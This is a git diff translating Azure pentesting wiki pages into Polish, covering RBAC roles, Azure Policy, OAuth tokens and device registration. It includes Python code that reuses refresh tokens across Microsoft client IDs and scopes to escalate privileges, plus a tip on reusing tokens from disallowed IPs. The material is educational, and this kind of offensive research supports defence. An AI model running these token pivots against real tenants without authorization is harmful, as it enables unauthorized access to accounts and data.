niestandardowa rola +- Możliwe jest wykluczenie uprawnień +- Zasada z wykluczonym uprawnieniem nie będzie mogła go używać, nawet jeśli uprawnienie jest przyznawane gdzie indziej +- Możliwe jest użycie symboli wieloznacznych +- Używany format to JSON +- `actions` są do kontrolowania działań nad zasobem +- `dataActions` to uprawnienia do danych w obiekcie +Przykład uprawnień JSON dla niestandardowej roli: ```json { - "properties": { - "roleName": "", - "description": "", - "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], - "permissions": [ - { - "actions": [ - "Microsoft.DigitalTwins/register/action", - "Microsoft.DigitalTwins/unregister/action", - "Microsoft.DigitalTwins/operations/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/write", - "Microsoft.CostManagement/exports/*" - ], - "notActions": [ - "Astronomer.Astro/register/action", - "Astronomer.Astro/unregister/action", - "Astronomer.Astro/operations/read", - "Astronomer.Astro/organizations/read" - ], - "dataActions": [], - "notDataActions": [] - } - ] - } +"properties": { +"roleName": "", +"description": "", +"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], +"permissions": [ +{ +"actions": [ +"Microsoft.DigitalTwins/register/action", +"Microsoft.DigitalTwins/unregister/action", +"Microsoft.DigitalTwins/operations/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/write", +"Microsoft.CostManagement/exports/*" +], +"notActions": [ +"Astronomer.Astro/register/action", +"Astronomer.Astro/unregister/action", +"Astronomer.Astro/operations/read", +"Astronomer.Astro/organizations/read" +], +"dataActions": [], +"notDataActions": [] +} +] +} } ``` +### Kolejność uprawnień -### Permissions order - -- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. -- An explicit **deny role assignment takes precedence** over the role granting the permission. +- Aby **podmiot miał dostęp do zasobu**, musi mieć przyznaną wyraźną rolę (w jakikolwiek sposób) **przyznającą mu to uprawnienie**. +- Wyraźne **przyznanie roli odmowy ma pierwszeństwo** przed rolą przyznającą uprawnienie.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

-### Global Administrator +### Globalny administrator -Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. +Globalny administrator to rola z Entra ID, która przyznaje **pełną kontrolę nad dzierżawą Entra ID**. Jednak domyślnie nie przyznaje żadnych uprawnień do zasobów Azure. -Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ -This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Użytkownicy z rolą globalnego administratora mają możliwość '**podniesienia' do roli administratora dostępu użytkowników w grupie zarządzania Root**. Tak więc globalni administratorzy mogą zarządzać dostępem w **wszystkich subskrypcjach Azure i grupach zarządzania.**\ +To podniesienie można wykonać na końcu strony: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
-### Azure Policies +### Polityki Azure -**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. +**Polityki Azure** to zasady, które pomagają organizacjom zapewnić, że ich zasoby spełniają określone standardy i wymagania dotyczące zgodności. Umożliwiają one **egzekwowanie lub audyt ustawień na zasobach w Azure**. Na przykład, można zapobiec tworzeniu maszyn wirtualnych w nieautoryzowanym regionie lub zapewnić, że wszystkie zasoby mają określone tagi do śledzenia. -Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. +Polityki Azure są **proaktywne**: mogą zatrzymać tworzenie lub zmianę zasobów, które nie są zgodne. Są również **reaktywne**, umożliwiając znalezienie i naprawienie istniejących zasobów, które nie są zgodne. -#### **Key Concepts** +#### **Kluczowe pojęcia** -1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. -2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). -3. **Initiatives**: A collection of policies grouped together for broader enforcement. -4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). +1. **Definicja polityki**: Zasada, napisana w JSON, która określa, co jest dozwolone lub wymagane. +2. **Przydział polityki**: Zastosowanie polityki do określonego zakresu (np. subskrypcja, grupa zasobów). +3. **Inicjatywy**: Zbiór polityk zgrupowanych razem w celu szerszej egzekucji. +4. **Efekt**: Określa, co się dzieje, gdy polityka jest wyzwalana (np. "Odmów", "Audyt" lub "Dodaj"). -**Some examples:** +**Niektóre przykłady:** -1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. -2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. -3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. -4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. -5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. -6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. +1. **Zapewnienie zgodności z określonymi regionami Azure**: Ta polityka zapewnia, że wszystkie zasoby są wdrażane w określonych regionach Azure. Na przykład, firma może chcieć zapewnić, że wszystkie jej dane są przechowywane w Europie w celu zgodności z RODO. +2. **Egzekwowanie standardów nazewnictwa**: Polityki mogą egzekwować konwencje nazewnictwa dla zasobów Azure. Pomaga to w organizacji i łatwej identyfikacji zasobów na podstawie ich nazw, co jest pomocne w dużych środowiskach. +3. **Ograniczenie niektórych typów zasobów**: Ta polityka może ograniczyć tworzenie niektórych typów zasobów. Na przykład, polityka może być ustawiona, aby zapobiec tworzeniu drogich typów zasobów, takich jak niektóre rozmiary VM, w celu kontrolowania kosztów. +4. **Egzekwowanie polityk tagowania**: Tagi to pary klucz-wartość związane z zasobami Azure używane do zarządzania zasobami. Polityki mogą egzekwować, że określone tagi muszą być obecne lub mieć określone wartości dla wszystkich zasobów. Jest to przydatne do śledzenia kosztów, własności lub kategoryzacji zasobów. +5. **Ograniczenie publicznego dostępu do zasobów**: Polityki mogą egzekwować, że niektóre zasoby, takie jak konta magazynowe lub bazy danych, nie mają publicznych punktów końcowych, zapewniając, że są dostępne tylko w sieci organizacji. +6. **Automatyczne stosowanie ustawień zabezpieczeń**: Polityki mogą być używane do automatycznego stosowania ustawień zabezpieczeń do zasobów, takich jak stosowanie określonej grupy zabezpieczeń sieciowych do wszystkich VM lub zapewnienie, że wszystkie konta magazynowe używają szyfrowania. -Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. - -Azure policy json example: +Należy zauważyć, że polityki Azure mogą być przypisane do dowolnego poziomu hierarchii Azure, ale są **najczęściej używane w grupie zarządzania root** lub w innych grupach zarządzania. +Przykład polityki Azure json: ```json { - "policyRule": { - "if": { - "field": "location", - "notIn": ["eastus", "westus"] - }, - "then": { - "effect": "Deny" - } - }, - "parameters": {}, - "displayName": "Allow resources only in East US and West US", - "description": "This policy ensures that resources can only be created in East US or West US.", - "mode": "All" +"policyRule": { +"if": { +"field": "location", +"notIn": ["eastus", "westus"] +}, +"then": { +"effect": "Deny" +} +}, +"parameters": {}, +"displayName": "Allow resources only in East US and West US", +"description": "This policy ensures that resources can only be created in East US or West US.", +"mode": "All" } ``` +### Dziedziczenie uprawnień -### Permissions Inheritance +W Azure **uprawnienia mogą być przypisane do dowolnej części hierarchii**. Obejmuje to grupy zarządzania, subskrypcje, grupy zasobów i poszczególne zasoby. Uprawnienia są **dziedziczone** przez zawarte **zasoby** podmiotu, do którego zostały przypisane. -In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. - -This hierarchical structure allows for efficient and scalable management of access permissions. +Ta struktura hierarchiczna umożliwia efektywne i skalowalne zarządzanie uprawnieniami dostępu.
### Azure RBAC vs ABAC -**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\ -However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. +**RBAC** (kontrola dostępu oparta na rolach) to to, co już widzieliśmy w poprzednich sekcjach: **Przypisanie roli do podmiotu w celu przyznania mu dostępu** do zasobu.\ +Jednak w niektórych przypadkach możesz chcieć zapewnić **bardziej szczegółowe zarządzanie dostępem** lub **uproszczenie** zarządzania **setkami** przypisań ról. -Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\ -You **cannot** explicitly **deny** **access** to specific resources **using conditions**. +Azure **ABAC** (kontrola dostępu oparta na atrybutach) opiera się na Azure RBAC, dodając **warunki przypisania ról oparte na atrybutach** w kontekście konkretnych działań. _Warunek przypisania roli_ to **dodatkowa kontrola, którą możesz opcjonalnie dodać do swojego przypisania roli**, aby zapewnić bardziej szczegółową kontrolę dostępu. Warunek filtruje uprawnienia przyznane jako część definicji roli i przypisania roli. Na przykład, możesz **dodać warunek, który wymaga, aby obiekt miał konkretny tag, aby go odczytać**.\ +**Nie możesz** wyraźnie **odmówić** **dostępu** do konkretnych zasobów **za pomocą warunków**. -## References +## Odniesienia - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) @@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d076e723a..468cdd119 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -2,100 +2,99 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. +Entra ID to platforma zarządzania tożsamością i dostępem (IAM) w chmurze firmy Microsoft, stanowiąca podstawowy system uwierzytelniania i autoryzacji dla usług takich jak Microsoft 365 i Azure Resource Manager. Azure AD wdraża ramy autoryzacji OAuth 2.0 oraz protokół uwierzytelniania OpenID Connect (OIDC) do zarządzania dostępem do zasobów. ### OAuth -**Key Participants in OAuth 2.0:** +**Kluczowi uczestnicy w OAuth 2.0:** -1. **Resource Server (RS):** Protects resources owned by the resource owner. -2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. -3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. -4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. +1. **Serwer zasobów (RS):** Chroni zasoby należące do właściciela zasobów. +2. **Właściciel zasobów (RO):** Zazwyczaj użytkownik końcowy, który posiada chronione zasoby. +3. **Aplikacja kliencka (CA):** Aplikacja ubiegająca się o dostęp do zasobów w imieniu właściciela zasobów. +4. **Serwer autoryzacji (AS):** Wydaje tokeny dostępu aplikacjom klienckim po ich uwierzytelnieniu i autoryzacji. -**Scopes and Consent:** +**Zakresy i zgoda:** -- **Scopes:** Granular permissions defined on the resource server that specify access levels. -- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. +- **Zakresy:** Szczegółowe uprawnienia zdefiniowane na serwerze zasobów, które określają poziomy dostępu. +- **Zgoda:** Proces, w którym właściciel zasobów przyznaje aplikacji klienckiej pozwolenie na dostęp do zasobów z określonymi zakresami. -**Microsoft 365 Integration:** +**Integracja z Microsoft 365:** -- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. -- These applications are deeply integrated and often have interdependent service relationships. -- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. -- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. -- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. +- Microsoft 365 wykorzystuje Azure AD do IAM i składa się z wielu aplikacji OAuth "pierwszej strony". +- Aplikacje te są głęboko zintegrowane i często mają wzajemne relacje serwisowe. +- Aby uprościć doświadczenia użytkowników i zachować funkcjonalność, Microsoft przyznaje "domyślną zgodę" lub "wstępną zgodę" tym aplikacjom pierwszej strony. +- **Domyślna zgoda:** Niektóre aplikacje automatycznie **otrzymują dostęp do określonych zakresów bez wyraźnej zgody użytkownika lub administratora**. +- Te wstępnie wyrażone zgody są zazwyczaj ukryte zarówno przed użytkownikami, jak i administratorami, co sprawia, że są mniej widoczne w standardowych interfejsach zarządzania. -**Client Application Types:** +**Typy aplikacji klienckich:** -1. **Confidential Clients:** - - Possess their own credentials (e.g., passwords or certificates). - - Can **securely authenticate themselves** to the authorization server. -2. **Public Clients:** - - Do not have unique credentials. - - Cannot securely authenticate to the authorization server. - - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. +1. **Klienci poufni:** +- Posiadają własne poświadczenia (np. hasła lub certyfikaty). +- Mogą **bezpiecznie uwierzytelniać się** na serwerze autoryzacji. +2. **Klienci publiczni:** +- Nie mają unikalnych poświadczeń. +- Nie mogą bezpiecznie uwierzytelniać się na serwerze autoryzacji. +- **Implikacja bezpieczeństwa:** Atakujący może podszyć się pod publiczną aplikację kliencką podczas żądania tokenów, ponieważ nie ma mechanizmu, który pozwalałby serwerowi autoryzacji zweryfikować legalność aplikacji. -## Authentication Tokens +## Tokeny uwierzytelniające -There are **three types of tokens** used in OIDC: +Istnieją **trzy typy tokenów** używanych w OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). - - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. - - A refresh token is encrypted and only Microsoft can decrypt it. - - Getting a new refresh token doesn't revoke the previous refresh token. +- [**Tokeny dostępu**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Klient przedstawia ten token serwerowi zasobów, aby **uzyskać dostęp do zasobów**. Może być używany tylko dla określonej kombinacji użytkownika, klienta i zasobu i **nie może być unieważniony** do momentu wygaśnięcia - co wynosi domyślnie 1 godzinę. +- **Tokeny ID**: Klient otrzymuje ten **token od serwera autoryzacji**. Zawiera podstawowe informacje o użytkowniku. Jest **powiązany z określoną kombinacją użytkownika i klienta**. +- **Tokeny odświeżające**: Przyznawane klientowi wraz z tokenem dostępu. Używane do **uzyskiwania nowych tokenów dostępu i ID**. Jest powiązany z określoną kombinacją użytkownika i klienta i może być unieważniony. Domyślne wygaśnięcie wynosi **90 dni** dla nieaktywnych tokenów odświeżających i **brak wygaśnięcia dla aktywnych tokenów** (z tokena odświeżającego można uzyskać nowe tokeny odświeżające). +- Token odświeżający powinien być powiązany z **`aud`**, z pewnymi **zakresami** i z **dzierżawą**, i powinien być w stanie generować tokeny dostępu tylko dla tego aud, zakresów (i żadnych innych) oraz dzierżawy. Jednak nie jest to prawdą w przypadku **tokenów aplikacji FOCI**. +- Token odświeżający jest szyfrowany i tylko Microsoft może go odszyfrować. +- Uzyskanie nowego tokena odświeżającego nie unieważnia poprzedniego tokena odświeżającego. > [!WARNING] -> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +> Informacje o **dostępie warunkowym** są **przechowywane** wewnątrz **JWT**. Jeśli więc zażądacie **tokena z dozwolonego adresu IP**, ten **IP** zostanie **przechowany** w tokenie, a następnie możecie użyć tego tokena z **niedozwolonego IP, aby uzyskać dostęp do zasobów**. -### Access Tokens "aud" +### Tokeny dostępu "aud" -The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. +Pole wskazane w polu "aud" to **serwer zasobów** (aplikacja) używana do wykonania logowania. -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: +Polecenie `az account get-access-token --resource-type [...]` obsługuje następujące typy, a każdy z nich doda określone "aud" w wynikowym tokenie dostępu: > [!CAUTION] -> Note that the following are just the APIs supported by `az account get-access-token` but there are more. +> Zauważ, że poniższe to tylko API obsługiwane przez `az account get-access-token`, ale jest ich więcej.
-aud examples +przykłady aud -- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - - `https://graph.windows.net/` +- **aad-graph (Azure Active Directory Graph API)**: Używane do uzyskiwania dostępu do przestarzałego Azure AD Graph API (deprecjonowane), które pozwala aplikacjom na odczyt i zapis danych katalogowych w Azure Active Directory (Azure AD). +- `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - - `https://management.core.windows.net/ or https://management.azure.com/` +* **arm (Azure Resource Manager)**: Używane do zarządzania zasobami Azure za pośrednictwem API Azure Resource Manager. Obejmuje operacje takie jak tworzenie, aktualizowanie i usuwanie zasobów, takich jak maszyny wirtualne, konta magazynowe i inne. +- `https://management.core.windows.net/ lub https://management.azure.com/` -- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - - `https://batch.core.windows.net/` +- **batch (Azure Batch Services)**: Używane do uzyskiwania dostępu do Azure Batch, usługi, która umożliwia efektywne uruchamianie aplikacji obliczeniowych w chmurze w dużej skali. +- `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - - `https://datalake.azure.net/` +* **data-lake (Azure Data Lake Storage)**: Używane do interakcji z Azure Data Lake Storage Gen1, które jest skalowalną usługą przechowywania danych i analityki. +- `https://datalake.azure.net/` -- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - - `https://rest.media.azure.net` +- **media (Azure Media Services)**: Używane do uzyskiwania dostępu do Azure Media Services, które oferują usługi przetwarzania i dostarczania mediów w chmurze dla treści wideo i audio. +- `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - - `https://graph.microsoft.com` +* **ms-graph (Microsoft Graph API)**: Używane do uzyskiwania dostępu do Microsoft Graph API, zjednoczonego punktu końcowego dla danych usług Microsoft 365. Umożliwia dostęp do danych i informacji z usług takich jak Azure AD, Office 365, Enterprise Mobility i usługi bezpieczeństwa. +- `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - - `https://ossrdbms-aad.database.windows.net` +- **oss-rdbms (Azure Open Source Relational Databases)**: Używane do uzyskiwania dostępu do usług baz danych Azure dla otwartych silników baz danych, takich jak MySQL, PostgreSQL i MariaDB. +- `https://ossrdbms-aad.database.windows.net`
-### Access Tokens Scopes "scp" +### Zakresy tokenów dostępu "scp" -The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. +Zakres tokena dostępu jest przechowywany wewnątrz klucza scp w tokenie dostępu JWT. Te zakresy definiują, do czego token dostępu ma dostęp. -If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. - -### Get refresh & access token example +Jeśli JWT ma prawo kontaktować się z określonym API, ale **nie ma zakresu** do wykonania żądanej akcji, **nie będzie w stanie wykonać akcji** z tym JWT. +### Przykład uzyskania tokena odświeżającego i dostępu ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -107,17 +106,17 @@ from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( - "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( - scopes=["https://graph.microsoft.com/.default"] +scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( - device_flow +device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) @@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: - """Decodes base64 encoded JWT blob""" - return jwt.decode( - base64_blob, options={"verify_signature": False, "verify_aud": False} - ) +"""Decodes base64 encoded JWT blob""" +return jwt.decode( +base64_blob, options={"verify_signature": False, "verify_aud": False} +) decoded_access_token = decode_jwt( - azure_cli_bearer_tokens_for_graph_api.get("access_token") +azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), - # Same scopes as original authorization - scopes=["https://graph.microsoft.com/.default"], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), +# Same scopes as original authorization +scopes=["https://graph.microsoft.com/.default"], +) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` - ## FOCI Tokens Privilege Escalation -Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. +Wcześniej wspomniano, że tokeny odświeżające powinny być powiązane z **zakresami**, z którymi zostały wygenerowane, z **aplikacją** i **dzierżawą**, dla której zostały wygenerowane. Jeśli jakikolwiek z tych ograniczeń zostanie naruszony, możliwe jest eskalowanie uprawnień, ponieważ będzie można generować tokeny dostępu do innych zasobów i dzierżaw, do których użytkownik ma dostęp, oraz z większymi zakresami, niż pierwotnie zamierzano. -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Co więcej, **jest to możliwe z wszystkimi tokenami odświeżającymi** w [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (konto Microsoft Entra, konta osobiste Microsoft oraz konta społecznościowe, takie jak Facebook i Google), ponieważ jak wspominają [**dokumenty**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Tokeny odświeżające są powiązane z kombinacją użytkownika i klienta, ale **nie są powiązane z zasobem ani dzierżawą**. Klient może użyć tokena odświeżającego do uzyskania tokenów dostępu **w dowolnej kombinacji zasobów i dzierżaw**, do których ma pozwolenie. Tokeny odświeżające są szyfrowane i tylko platforma tożsamości Microsoft może je odczytać." -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +Ponadto, należy zauważyć, że aplikacje FOCI są aplikacjami publicznymi, więc **nie jest wymagany żaden sekret** do uwierzytelnienia na serwerze. -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Zgłoszone wcześniej znane klienci FOCI w [**oryginalnych badaniach**](https://github.com/secureworks/family-of-client-ids-research/tree/main) można [**znaleźć tutaj**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). ### Get different scope -Following with the previous example code, in this code it's requested a new token for a different scope: - +Kontynuując poprzedni przykład kodu, w tym kodzie żądany jest nowy token dla innego zakresu: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - new_azure_cli_bearer_tokens_for_graph_api.get( - "refresh_token" - ), - # But different scopes than original authorization - scopes=[ - "https://outlook.office.com/.default" - ], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +new_azure_cli_bearer_tokens_for_graph_api.get( +"refresh_token" +), +# But different scopes than original authorization +scopes=[ +"https://outlook.office.com/.default" +], +) ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` - -### Get different client and scopes - +### Uzyskaj różne klienty i zakresy ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( - # This is a different client application than we used in the previous examples - microsoft_office_client.acquire_token_by_refresh_token( - # But we can use the refresh token issued to our original client application - azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), - # And request different scopes too - scopes=["https://graph.microsoft.com/.default"], - ) +# This is a different client application than we used in the previous examples +microsoft_office_client.acquire_token_by_refresh_token( +# But we can use the refresh token issued to our original client application +azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), +# And request different scopes too +scopes=["https://graph.microsoft.com/.default"], +) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` - -## References +## Odniesienia - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5fe503c0b..1cabbeb33 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -1,24 +1,22 @@ -# Az - Device Registration +# Az - Rejestracja Urządzenia {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe Informacje -When a device joins AzureAD a new object is created in AzureAD. +Gdy urządzenie dołącza do AzureAD, nowy obiekt jest tworzony w AzureAD. -When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt. +Podczas rejestracji urządzenia, **użytkownik jest proszony o zalogowanie się na swoje konto** (prosząc o MFA, jeśli to konieczne), następnie żąda tokenów dla usługi rejestracji urządzenia, a następnie prosi o ostateczne potwierdzenie. -Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible. - -Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).: +Następnie generowane są dwie pary kluczy RSA w urządzeniu: **klucz urządzenia** (**klucz publiczny**), który jest wysyłany do **AzureAD**, oraz **klucz transportowy** (**klucz prywatny**), który jest przechowywany w TPM, jeśli to możliwe. +Następnie, **obiekt** jest generowany w **AzureAD** (nie w Intune) i AzureAD zwraca do urządzenia **certyfikat** podpisany przez siebie. Możesz sprawdzić, że **urządzenie jest dołączone do AzureAD** oraz informacje o **certyfikacie** (takie jak to, czy jest chroniony przez TPM). ```bash dsregcmd /status ``` +Po rejestracji urządzenia, **Primary Refresh Token** jest żądany przez moduł LSASS CloudAP i przekazywany do urządzenia. Z PRT dostarczany jest również **klucz sesji zaszyfrowany tak, aby tylko urządzenie mogło go odszyfrować** (używając klucza publicznego 